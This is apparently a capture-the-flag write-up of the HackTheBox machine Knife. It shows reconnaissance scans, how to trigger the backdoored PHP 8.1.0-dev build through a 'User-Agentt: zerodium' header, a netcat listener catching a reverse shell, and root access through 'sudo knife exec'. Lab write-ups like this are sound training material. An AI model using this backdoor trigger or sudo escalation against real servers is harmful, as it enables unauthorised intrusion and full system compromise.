Knife is one of the easier boxes on HTB, but it’s also one that has gotten significantly easier since it’s release. I’ll start with a webserver that isn’t hosting much of a site, but is leaking that it’s running a dev version of PHP. This version happens to be the version that had a backdoor inserted into it when the PHP development servers were hacked in March 2021. At the time of release, just searching for this version string didn’t immediately lead to the backdoor, but within two days of release it did. For root, the user can run knife as root. At the time of release, there was no GTFObins page for knife, so the challenge required reading the docs to find a way to run arbitrary code. That page now exists.
|Release Date:||22 May 2021|
|Retire Date:||28 Aug 2021|
|Base Points:||Easy |
|00 days, 00 hours, 13 mins, 43 seconds|
|00 days, 00 hours, 19 mins, 31 seconds|
nmap found two open TCP ports, SSH (22) and HTTP (80):
oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.242 Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-22 15:11 EDT Nmap scan report for 10.10.10.242 Host is up (0.022s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 11.25 seconds oxdf@parrot$ nmap -p 22,80 -sCV -oA scans/nmap-tcpscripts 10.10.10.242 Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-22 15:11 EDT Nmap scan report for 10.10.10.242 Host is up (0.018s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA) | 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA) |_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Emergent Medical Idea Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.39 seconds
Website - TCP 80
The site is for a medical group:
That’s the entire page. There is nothing on the page to interact with.
I can take a couple guesses at what page
/ is, and it seems that
index.php loads the same page, so it’s safe to assume the site is PHP based. The response headers confirm this:
HTTP/1.1 200 OK Date: Sat, 22 May 2021 19:30:15 GMT Server: Apache/2.4.41 (Ubuntu) X-Powered-By: PHP/8.1.0-dev Vary: Accept-Encoding Content-Length: 5815 Connection: close Content-Type: text/html; charset=UTF-8
The PHP version is important to note here. It is not uncommon for PHP to report it’s version like this.
Directory Brute Force
feroxbuuster against the site:
oxdf@parrot$ feroxbuster -u http://10.10.10.242 -o scans/ferozbuster-root-php ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.2.1 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://10.10.10.242 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.2.1 💉 Config File │ /etc/feroxbuster/ferox-config.toml 💾 Output File │ scans/ferozbuster-root-php 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Cancel Menu™ ────────────────────────────────────────────────── 403 9l 28w 277c http://10.10.10.242/server-status [####################] - 15s 29999/29999 0s found:1 errors:0 [####################] - 15s 29999/29999 1974/s http://10.10.10.242
There is a
/server-status page, but nothing interesting.
Shell as james
X-Powered-By header gives a very specific PHP version, PHP/8.1.0-dev. Some knowledge of the news reminds me that there was an issue with the PHP source repository where it got hacked and a backdoor was inserted (ref1, ref2, lots more).
Kind of surprisingly, on release day, Googling this version didn’t turn up the news stories about this backdoor, so it took a bit more research to figure out that this version was the one associated with the backdoor. That said, two days after Knife’s release, the top link on Google mentioned the backdoor:
Today, three months after release, it fills the first page, including links from exploit-db and packetstrom with exploit scripts.
Because of how GitHub and open-source works, I can look right at the commit that adds this backdoor into the PHP codebase. The commit changes one file,
ext/zlib/zlib.c, adding 11 lines of code (all in green):
It’s fascinating to see others commenting on the commit, the first comment asking if the misspelling of
HTTP_USER_AGENTT was a mistake, and four lines later someone asking what it did, and someone else responding basically that’s it’s a backdoor, and how it works.
As the devs point out, to execute this backdoor, I’ll need a
User-Agentt header that starts with “zerodium”, and whatever is after that will be executed as PHP code.
To test this, I’ll send the GET request over to Burp Repeater and replace the
User-Agent header with the malicious one:
system("id") and the result is at the top of the response.
id with a reverse shell, and run it again.
The response just hangs, but at
nc, I’ve got a shell:
oxdf@parrot$ nc -lnvp 443 listening on [any] 443 ... connect to [10.10.14.15] from (UNKNOWN) [10.10.10.242] 55806 bash: cannot set terminal process group (933): Inappropriate ioctl for device bash: no job control in this shell james@knife:/$
I’ll upgrade with the normal trick:
james@knife:/$ python3 -c 'import pty;pty.spawn("bash")' python3 -c 'import pty;pty.spawn("bash")' james@knife:/$ ^Z + Stopped nc -lnvp 443 oxdf@parrot$ stty raw -echo ; fg nc -lnvp 443 reset reset: unknown terminal type unknown Terminal type? screen james@knife:/$
And grab the user flag:
james@knife:~$ cat user.txt 77834514************************
Shell as root
When trying to escalate on Linux, always check
james@knife:~$ sudo -l Matching Defaults entries for james on knife: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User james may run the following commands on knife: (root) NOPASSWD: /usr/bin/knife
james can run
knife as root.
Chef is an automation/infrastructure platform:
Chef Infra is a powerful automation platform that transforms infrastructure into code. Whether you’re operating in the cloud, on-premises, or in a hybrid environment, Chef Infra automates how infrastructure is configured, deployed, and managed across your network, no matter its size.
knife is a command line tool manage Chef. According to the docs, it manages aspects of Chef such as:
- Cookbooks and recipes
- Roles, Environments, and Data Bags
- Resources within various cloud environments
- The installation of Chef Infra Client onto nodes
- Searching of indexed data on the Chef Infra Server
While GTFObins has a page for knife, it didn’t when Knife released, leaving me to comb the docs. There are several ways to get execution through
knife. I’ll show two.
knife data bag create 0xdf output -e vim will open a new bag in
I’ll escape vim with
knife has an
exec command that will run Ruby code. This is the technique now on GTFObins, but it wasn’t there when Knife released. There was a GTFObins page on Ruby that shows running
sudo ruby -e 'exec "/bin/sh"'. The Ruby code there is
exec "/bin/sh". Using the same Ruby code here works:
james@knife:~$ sudo knife exec -E "exec '/bin/bash'" root@knife:/home/james#
This one is actually cool because I can run it through the PHP vuln and get both flags in one command: